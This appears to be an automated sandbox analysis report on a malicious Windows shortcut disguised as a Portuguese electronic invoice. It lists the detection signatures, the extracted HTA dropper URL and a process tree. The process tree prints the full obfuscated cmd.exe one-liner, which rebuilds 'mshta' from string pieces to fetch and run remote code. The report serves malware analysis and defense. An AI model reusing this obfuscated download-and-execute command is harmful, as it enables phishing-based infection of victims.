Analysis

  • max time kernel
    58s
  • max time network
    57s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/08/2026, 17:16

General

  • Target
    Fatura Eletronica-40VKXG.lnk
  • Size 2KB
  • Sample260817-vtmd6sep2t
  • SHA256 7bf698b016be922f62e8c6bb320e93092a5ba3636f3c3c7ffebeb61895f298ec
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://faturaeletronicapt.com/h/estagio1.php?r=2412

Signatures

  • Badlisted process makes network request 6 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Fatura Eletronica-40VKXG.lnk"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2036
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D/v:on/c"set aS=bakghipplwdazcyyqdvmbak&&set BFX=dbgklhsexbajdbg&&set BeI=cfgamrojiginivlawdcfg&&set Fa=baksypoatdnlnjuywhbbak&&set PbI=tmpaefdgmtmp&&set YrzYr=flstaku&&set rDIl=irptl&&set oRZsQ=jk2tb&&set YXx=cfgnsgmlwxcfg&&set EvbiN=qmyb&&set pT=6sh3p&&set nIRqy=uta6&&set Bgua=netkyipwwzpsphlnrjjznet&&set MUmDy=h@tt@p@s:@/@/fatura@el@e@tron@i@cap@[email protected]@/@h@/es@t@a@gio1.@ph@p@?@r=@2412&&start /b !EvbiN:~1,1!!pT:~1,2!!nIRqy:~1,2! !MUmDy:@=!&&set LQimA=done"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:868
      • C:\Windows\System32\mshta.exe
        mshta https://faturaeletronicapt.com/h/estagio1.php?r=2412
        3⤵
        • Badlisted process makes network request
        PID:2776

Network

        MITRE ATT&CK Enterprise v16

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        Downloads